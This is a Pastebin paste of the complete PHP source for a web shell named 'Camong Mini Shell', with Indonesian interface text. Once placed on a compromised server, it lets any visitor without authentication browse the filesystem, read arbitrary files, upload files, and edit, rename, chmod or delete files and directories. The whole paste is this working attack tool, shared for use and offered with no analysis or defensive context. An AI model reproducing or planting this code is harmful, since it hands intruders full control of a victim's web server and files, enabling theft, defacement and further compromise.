Advertisement
Guest User

Untitled

a guest
Sep 20th, 2019
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.45 KB | None | 0 0
  1. <?php
  2.  
  3. //
  4. //CAMONG MINI SHELL
  5. //Redesign By MR.CH4M0NK
  6. //
  7.  
  8. error_reporting(0);
  9. set_time_limit(0);
  10.  
  11. if(get_magic_quotes_gpc()){
  12. foreach($_POST as $key=>$value){
  13. $_POST[$key] = stripslashes($value);
  14. }
  15. }
  16. echo '<!DOCTYPE HTML>
  17. <html>
  18. <head>
  19. <link href="" rel="stylesheet" type="text/css">
  20. <title>Cantik Mini Shell</title>
  21. <style>
  22. body{
  23. font-family: "Racing Sans One", cursive;
  24. background-color: black;
  25. color:white;
  26. }
  27. #content tr:hover{
  28. background-color: Red;
  29. text-shadow:0px 0px 10px #fff;
  30. }
  31. #content .first{
  32. background-color: Red;
  33. }
  34. table{
  35. border: 1px #000000 dotted;
  36. }
  37. a{
  38. color:Blue;
  39. text-decoration: none;
  40. }
  41. a:hover{
  42. color:Blue;
  43. text-shadow:0px 0px 10px #ffffff;
  44. }
  45. input,select,textarea{
  46. border: 1px #000000 solid;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius:5px;
  49. border-radius:5px;
  50. }
  51. </style>
  52. </head>
  53. <body>
  54. <body background="http://www.newtechconstructionequipments.in/WS.jpg"></body>
  55. <h1><center><font color="Red">Mr.Ch4m0nk Mini Shell</font></center></h1>
  56. <table width="700" border="0" cellpadding="2" cellspacing="1" align="center">
  57. <tr><td><font color="Blue">Path :</font> ';
  58. if(isset($_GET['path'])){
  59. $path = $_GET['path'];
  60. }else{
  61. $path = getcwd();
  62. }
  63. $path = str_replace('\\','/',$path);
  64. $paths = explode('/',$path);
  65.  
  66. foreach($paths as $id=>$pat){
  67. if($pat == '' && $id == 0){
  68. $a = true;
  69. echo '<a href="?path=/">/</a>';
  70. continue;
  71. }
  72. if($pat == '') continue;
  73. echo '<a href="?path=';
  74. for($i=0;$i<=$id;$i++){
  75. echo "$paths[$i]";
  76. if($i != $id) echo "/";
  77. }
  78. echo '">'.$pat.'</a>/';
  79. }
  80. echo '</td></tr><tr><td>';
  81. if(isset($_FILES['file'])){
  82. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  83. echo '<font color="green">Upload Berhasil</font><br />';
  84. }else{
  85. echo '<font color="red">Upload Gagal </font><br/>';
  86. }
  87. }
  88. echo '<form enctype="multipart/form-data" method="POST">
  89. <font color="Red">File Upload :</font> <input type="file" name="file" />
  90. <input type="submit" value="Klik" />
  91. </form>
  92. </td></tr>';
  93. if(isset($_GET['filesrc'])){
  94. echo "<tr><td>Current File : ";
  95. echo $_GET['filesrc'];
  96. echo '</tr></td></table><br />';
  97. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  98. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  99. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  100. if($_POST['opt'] == 'chmod'){
  101. if(isset($_POST['perm'])){
  102. if(chmod($_POST['path'],$_POST['perm'])){
  103. echo '<font color="green">Change Permission Berhasil </font><br/>';
  104. }else{
  105. echo '<font color="red">Change Permission Gagal </font><br />';
  106. }
  107. }
  108. echo '<form method="POST">
  109. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  110. <input type="hidden" name="path" value="'.$_POST['path'].'">
  111. <input type="hidden" name="opt" value="chmod">
  112. <input type="submit" value="Go" />
  113. </form>';
  114. }elseif($_POST['opt'] == 'rename'){
  115. if(isset($_POST['newname'])){
  116. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  117. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  118. }else{
  119. echo '<font color="red">Ganti Nama Gagal </font><br />';
  120. }
  121. $_POST['name'] = $_POST['newname'];
  122. }
  123. echo '<form method="POST">
  124. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  125. <input type="hidden" name="path" value="'.$_POST['path'].'">
  126. <input type="hidden" name="opt" value="rename">
  127. <input type="submit" value="Go" />
  128. </form>';
  129. }elseif($_POST['opt'] == 'edit'){
  130. if(isset($_POST['src'])){
  131. $fp = fopen($_POST['path'],'w');
  132. if(fwrite($fp,$_POST['src'])){
  133. echo '<font color="green">Berhasil Edit File </font><br/>';
  134. }else{
  135. echo '<font color="red">Gagal Edit File </font><br/>';
  136. }
  137. fclose($fp);
  138. }
  139. echo '<form method="POST">
  140. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  141. <input type="hidden" name="path" value="'.$_POST['path'].'">
  142. <input type="hidden" name="opt" value="edit">
  143. <input type="submit" value="Save" />
  144. </form>';
  145. }
  146. echo '</center>';
  147. }else{
  148. echo '</table><br/><center>';
  149. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  150. if($_POST['type'] == 'dir'){
  151. if(rmdir($_POST['path'])){
  152. echo '<font color="green">Directory Terhapus </font><br/>';
  153. }else{
  154. echo '<font color="red">Directory Gagal Tehapus </font><br/>';
  155. }
  156. }elseif($_POST['type'] == 'file'){
  157. if(unlink($_POST['path'])){
  158. echo '<font color="green">File Terhapus :*</font><br/>';
  159. }else{
  160. echo '<font color="red">File Gagal Dihapus</font><br/>';
  161. }
  162. }
  163. }
  164. echo '</center>';
  165. $scandir = scandir($path);
  166. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  167. <tr class="first">
  168. <td><center>Name</Gass></center></td>
  169. <td><center>Size</Gass></center></td>
  170. <td><center>Permission</Gass></center></td>
  171. <td><center>Modify</Gass></center></td>
  172. </tr>';
  173.  
  174. foreach($scandir as $dir){
  175. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  176. echo '<tr>
  177. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  178. <td><center>--</center></td>
  179. <td><center>';
  180. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  181. elseif(!is_readable($path.'/'.$dir)) echo '<font color="blue">';
  182. echo perms($path.'/'.$dir);
  183. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  184.  
  185. echo '</center></td>
  186. <td><center><form method="POST" action="?option&path='.$path.'">
  187. <select name="opt">
  188. <option value="">Select</option>
  189. <option value="delete">Delete</option>
  190. <option value="chmod">Chmod</option>
  191. <option value="rename">Rename</option>
  192. </select>
  193. <input type="hidden" name="type" value="dir">
  194. <input type="hidden" name="name" value="'.$dir.'">
  195. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  196. <input type="submit" value=">">
  197. </form></center></td>
  198. </tr>';
  199. }
  200. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  201. foreach($scandir as $file){
  202. if(!is_file($path.'/'.$file)) continue;
  203. $size = filesize($path.'/'.$file)/1024;
  204. $size = round($size,3);
  205. if($size >= 1024){
  206. $size = round($size/1024,2).' MB';
  207. }else{
  208. $size = $size.' KB';
  209. }
  210.  
  211. echo '<tr>
  212. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  213. <td><center>'.$size.'</center></td>
  214. <td><center>';
  215. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  216. elseif(!is_readable($path.'/'.$file)) echo '<font color="blue">';
  217. echo perms($path.'/'.$file);
  218. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  219. echo '</center></td>
  220. <td><center><form method="POST" action="?option&path='.$path.'">
  221. <select name="opt">
  222. <option value="">Cantik :*</option>
  223. <option value="delete">Delete</option>
  224. <option value="chmod">Chmod</option>
  225. <option value="rename">Rename</option>
  226. <option value="edit">Edit</option>
  227. </select>
  228. <input type="hidden" name="type" value="file">
  229. <input type="hidden" name="name" value="'.$file.'">
  230. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  231. <input type="submit" value=">">
  232. </form></center></td>
  233. </tr>';
  234. }
  235. echo '</table>
  236. </div>';
  237. }
  238. echo '<center><br/>Camong Mini Shell</center>
  239. </body>
  240. </html>';
  241. function perms($file){
  242. $perms = fileperms($file);
  243.  
  244. if (($perms & 0xC000) == 0xC000) {
  245. // Socket
  246. $info = 's';
  247. } elseif (($perms & 0xA000) == 0xA000) {
  248. // Symbolic Link
  249. $info = 'l';
  250. } elseif (($perms & 0x8000) == 0x8000) {
  251. // Regular
  252. $info = '-';
  253. } elseif (($perms & 0x6000) == 0x6000) {
  254. // Block special
  255. $info = 'b';
  256. } elseif (($perms & 0x4000) == 0x4000) {
  257. // Directory
  258. $info = 'd';
  259. } elseif (($perms & 0x2000) == 0x2000) {
  260. // Character special
  261. $info = 'c';
  262. } elseif (($perms & 0x1000) == 0x1000) {
  263. // FIFO pipe
  264. $info = 'p';
  265. } else {
  266. // Unknown
  267. $info = 'u';
  268. }
  269.  
  270. // Owner
  271. $info .= (($perms & 0x0100) ? 'r' : '-');
  272. $info .= (($perms & 0x0080) ? 'w' : '-');
  273. $info .= (($perms & 0x0040) ?
  274. (($perms & 0x0800) ? 's' : 'x' ) :
  275. (($perms & 0x0800) ? 'S' : '-'));
  276.  
  277. // Group
  278. $info .= (($perms & 0x0020) ? 'r' : '-');
  279. $info .= (($perms & 0x0010) ? 'w' : '-');
  280. $info .= (($perms & 0x0008) ?
  281. (($perms & 0x0400) ? 's' : 'x' ) :
  282. (($perms & 0x0400) ? 'S' : '-'));
  283.  
  284. // World
  285. $info .= (($perms & 0x0004) ? 'r' : '-');
  286. $info .= (($perms & 0x0002) ? 'w' : '-');
  287. $info .= (($perms & 0x0001) ?
  288. (($perms & 0x0200) ? 't' : 'x' ) :
  289. (($perms & 0x0200) ? 'T' : '-'));
  290.  
  291. return $info;
  292. }
  293. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement